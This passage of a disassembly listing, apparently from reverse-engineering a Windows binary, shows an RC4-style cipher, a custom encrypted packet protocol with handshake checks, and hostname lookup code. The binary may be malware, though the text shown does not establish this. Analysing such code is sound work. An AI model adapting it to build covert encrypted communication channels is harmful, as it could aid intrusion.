		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_442CBD:				; CODE XREF: DMN1:00442CA0j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_448515	; gethostname
		lea	eax, [ebp-400h]
		push	eax
		call	sub_442C29
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_4
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442D26	proc near		; CODE XREF: sub_442EC0+14p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_442D48:				; CODE XREF: sub_442D26+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_442D48
		and	[ebp+var_8], 0
		xor	edi, edi
		xor	ecx, ecx


loc_442D5C:				; CODE XREF: sub_442D26+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_442D96
		and	[ebp+var_8], 0


loc_442D96:				; CODE XREF: sub_442D26+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_442D5C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442DA6	proc near		; CODE XREF: sub_442F45+86p
					; sub_443017+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_442E0D
; ---------------------------------------------------------------------------


loc_442DC6:				; CODE XREF: sub_442DA6+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_442E0D:				; CODE XREF: sub_442DA6+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_442DC6
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442DA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442E2E	proc near		; CODE XREF: DMN1:00445199p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_4424B3
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_4424B3
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_442E58:				; CODE XREF: sub_442E2E+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_442E58
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_442E75:				; CODE XREF: sub_442E2E+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_442E75
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442E2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_442EA6	proc near		; CODE XREF: DMN1:00445429p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_4424E1
		pop	ecx
		push	ebx
		call	sub_4424E1
		pop	ecx
		pop	ebx
		retn
sub_442EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442EC0	proc near		; CODE XREF: sub_442F45+27p
					; sub_443017+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442D26
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_442F18
; ---------------------------------------------------------------------------


loc_442F00:				; CODE XREF: sub_442EC0+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_442F18:				; CODE XREF: sub_442EC0+3Ej
		cmp	esi, 40h
		jl	short loc_442F00
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_442F28:				; CODE XREF: sub_442EC0+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_442F28
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442EC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442F45	proc near		; CODE XREF: sub_442FFA+13p
					; sub_4431E1+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_442F5E
		cmp	esi, 0FFFFh
		jle	short loc_442F65


loc_442F5E:				; CODE XREF: sub_442F45+Fj
		xor	eax, eax
		jmp	loc_442FF3
; ---------------------------------------------------------------------------


loc_442F65:				; CODE XREF: sub_442F45+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_442F72
		push	ebx
		call	sub_442EC0
		pop	ecx


loc_442F72:				; CODE XREF: sub_442F45+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_442FA4
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_448E2B
		add	esp, 0Ch


loc_442FA4:				; CODE XREF: sub_442F45+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_442FD3
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442DA6
		add	esp, 0Ch


loc_442FD3:				; CODE XREF: sub_442F45+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_442BF2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_442FF0
		xor	eax, eax
		jmp	short loc_442FF3
; ---------------------------------------------------------------------------


loc_442FF0:				; CODE XREF: sub_442F45+A5j
		xor	eax, eax
		inc	eax


loc_442FF3:				; CODE XREF: sub_442F45+1Bj
					; sub_442F45+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442F45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442FFA	proc near		; CODE XREF: DMN1:004433B2p
					; DMN1:004452B5p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_442F45
		add	esp, 14h
		pop	ebp
		retn
sub_442FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443017	proc near		; CODE XREF: sub_4431C6+11p
					; DMN1:004432A0p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_443040
		cmp	eax, 0FFFFh
		jle	short loc_443048


loc_443040:				; CODE XREF: sub_443017+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_4431BF
; ---------------------------------------------------------------------------


loc_443048:				; CODE XREF: sub_443017+27j
		test	esi, esi
		jz	short loc_443053
		push	ebx
		call	sub_442EC0
		pop	ecx


loc_443053:				; CODE XREF: sub_443017+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_442B47
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_44307A
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_4431BF
; ---------------------------------------------------------------------------


loc_44307A:				; CODE XREF: sub_443017+51j
		test	esi, esi
		jz	short loc_443090
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442DA6
		add	esp, 0Ch


loc_443090:				; CODE XREF: sub_443017+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_4430B3
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_4431BF
; ---------------------------------------------------------------------------


loc_4430B3:				; CODE XREF: sub_443017+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_442B47
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_4430D9
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_4431BF
; ---------------------------------------------------------------------------


loc_4430D9:				; CODE XREF: sub_443017+B0j
		test	esi, esi
		jz	short loc_4430EE
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442DA6
		add	esp, 0Ch


loc_4430EE:				; CODE XREF: sub_443017+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_442B47
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_443128
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_4431BF
; ---------------------------------------------------------------------------


loc_443128:				; CODE XREF: sub_443017+FFj
		test	esi, esi
		jz	short loc_44313E
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442DA6
		add	esp, 0Ch


loc_44313E:				; CODE XREF: sub_443017+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_4
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_443176
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_442B47
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_443176
		or	eax, 0FFFFFFFFh
		jmp	short loc_4431BF
; ---------------------------------------------------------------------------


loc_443176:				; CODE XREF: sub_443017+13Ej
					; sub_443017+158j
		test	esi, esi
		jz	short loc_44318F
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_442DA6
		add	esp, 0Ch


loc_44318F:				; CODE XREF: sub_443017+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_4431BC
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_4431A3
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_4431A3:				; CODE XREF: sub_443017+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_4431BC
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_448E2B
		add	esp, 0Ch


loc_4431BC:				; CODE XREF: sub_443017+17Cj
					; sub_443017+191j
		mov	eax, [ebp+var_4]


loc_4431BF:				; CODE XREF: sub_443017+2Cj
					; sub_443017+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4431C6	proc near		; CODE XREF: sub_4433BC+18p
					; DMN1:00445318p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_443017
		add	esp, 14h
		pop	ebp
		retn
sub_4431C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4431E1	proc near		; CODE XREF: DMN1:00445210p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	0Bh
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_448E2B
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_448E2B
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_442F45
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4431E1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_443017
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_4432B9
		cmp	esi, 0Ah
		jge	short loc_4432E6


loc_4432B9:				; CODE XREF: DMN1:004432B2j
		cmp	esi, 0Ah
		jge	short loc_4432CB
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_4432DF
; ---------------------------------------------------------------------------


loc_4432CB:				; CODE XREF: DMN1:004432BCj
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx


loc_4432DF:				; CODE XREF: DMN1:004432C9j
		xor	eax, eax
		jmp	loc_44339A
; ---------------------------------------------------------------------------


loc_4432E6:				; CODE XREF: DMN1:004432B7j
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_443306
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_44339A
; ---------------------------------------------------------------------------


loc_443306:				; CODE XREF: DMN1:004432EDj
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_443349
		xor	eax, eax
		jmp	short loc_44339A
; ---------------------------------------------------------------------------


loc_443349:				; CODE XREF: DMN1:00443343j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_443359
		xor	eax, eax
		jmp	short loc_44339A
; ---------------------------------------------------------------------------


loc_443359:				; CODE XREF: DMN1:00443353j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_443370
		xor	eax, eax
		jmp	short loc_44339A
; ---------------------------------------------------------------------------


loc_443370:				; CODE XREF: DMN1:0044336Aj
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_44339A:				; CODE XREF: DMN1:004432E1j
					; DMN1:00443301j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_442FFA
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4433BC	proc near		; CODE XREF: DMN1:00445238p
					; DMN1:004452EFp

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4431C6
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_4433EB
		cmp	ebx, 1
		jz	short loc_4433F0


loc_4433EB:				; CODE XREF: sub_4433BC+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4433F4
; ---------------------------------------------------------------------------


loc_4433F0:				; CODE XREF: sub_4433BC+2Dj
		movzx	eax, [ebp+var_2]


loc_4433F4:				; CODE XREF: sub_4433BC+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4433BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4433F9	proc near		; CODE XREF: sub_447EEC+3Ap
		push	ebx
		push	10h
		call	sub_4424B3
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_4433F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_443406	proc near		; CODE XREF: DMN1:0044343Fp
					; DMN1:0044364Ap ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_443431
		mov	esi, [ebx+4]
		jmp	short loc_443422
; ---------------------------------------------------------------------------


loc_443416:				; CODE XREF: sub_443406+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_4424E1
		pop	ecx


loc_443422:				; CODE XREF: sub_443406+Ej
		test	esi, esi
		jnz	short loc_443416
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_443431:				; CODE XREF: sub_443406+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443406	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_44344C
		push	ebx
		call	sub_443406
		pop	ecx
		push	ebx
		call	sub_4424E1
		pop	ecx


loc_44344C:				; CODE XREF: DMN1:0044343Cj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44344E	proc near		; CODE XREF: DMN1:00445635p
					; DMN1:00445B60p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_443475
; ---------------------------------------------------------------------------


loc_443461:				; CODE XREF: sub_44344E+29j
		cmp	[edx+4], ecx
		jnz	short loc_443472
		test	bx, bx
		jz	short loc_443470
		cmp	[edx], bx
		jnz	short loc_443472


loc_443470:				; CODE XREF: sub_44344E+1Bj
		jmp	short loc_443479
; ---------------------------------------------------------------------------


loc_443472:				; CODE XREF: sub_44344E+16j
					; sub_44344E+20j
		mov	edx, [edx+8]


loc_443475:				; CODE XREF: sub_44344E+11j
		test	edx, edx
		jnz	short loc_443461


loc_443479:				; CODE XREF: sub_44344E:loc_443470j
		mov	eax, edx
		pop	ebx
		retn
sub_44344E	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_4424B3
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_44349D
		mov	[ebx], esi


loc_44349D:				; CODE XREF: DMN1:00443499j
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4434B4	proc near		; CODE XREF: DMN1:00443661p
					; sub_444FF1+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_4424B3
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_4434D2
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_4434D7
; ---------------------------------------------------------------------------


loc_4434D2:				; CODE XREF: sub_4434B4+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_4434D7:				; CODE XREF: sub_4434B4+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4434B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4434EE	proc near		; CODE XREF: DMN1:00443605p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_44351B
; ---------------------------------------------------------------------------


loc_443501:				; CODE XREF: sub_4434EE+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_443516
		test	bx, bx
		jz	short loc_443514
		cmp	[esi], bx
		jnz	short loc_443516


loc_443514:				; CODE XREF: sub_4434EE+1Fj
		jmp	short loc_44351F
; ---------------------------------------------------------------------------


loc_443516:				; CODE XREF: sub_4434EE+1Aj
					; sub_4434EE+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_44351B:				; CODE XREF: sub_4434EE+11j
		test	esi, esi
		jnz	short loc_443501


loc_44351F:				; CODE XREF: sub_4434EE:loc_443514j
		test	esi, esi
		jnz	short loc_443527
		xor	eax, eax
		jmp	short loc_44356D
; ---------------------------------------------------------------------------


loc_443527:				; CODE XREF: sub_4434EE+33j
		test	edi, edi
		jz	short loc_443541
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_443539
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_443539:				; CODE XREF: sub_4434EE+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_44355C
; ---------------------------------------------------------------------------


loc_443541:				; CODE XREF: sub_4434EE+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_44355C
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_44355C:				; CODE XREF: sub_4434EE+51j
					; sub_4434EE+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_4424E1
		pop	ecx
		xor	eax, eax
		inc	eax


loc_44356D:				; CODE XREF: sub_4434EE+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4434EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_443571	proc near		; CODE XREF: DMN1:00443630p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_443593
; ---------------------------------------------------------------------------


loc_443583:				; CODE XREF: sub_443571+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_443597
		mov	edi, esi
		mov	esi, [esi+8]


loc_443593:				; CODE XREF: sub_443571+10j
		test	esi, esi
		jnz	short loc_443583


loc_443597:				; CODE XREF: sub_443571+1Bj
		test	esi, esi
		jnz	short loc_44359F
		xor	eax, eax
		jmp	short loc_4435E5
; ---------------------------------------------------------------------------


loc_44359F:				; CODE XREF: sub_443571+28j
		test	edi, edi
		jz	short loc_4435B9
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
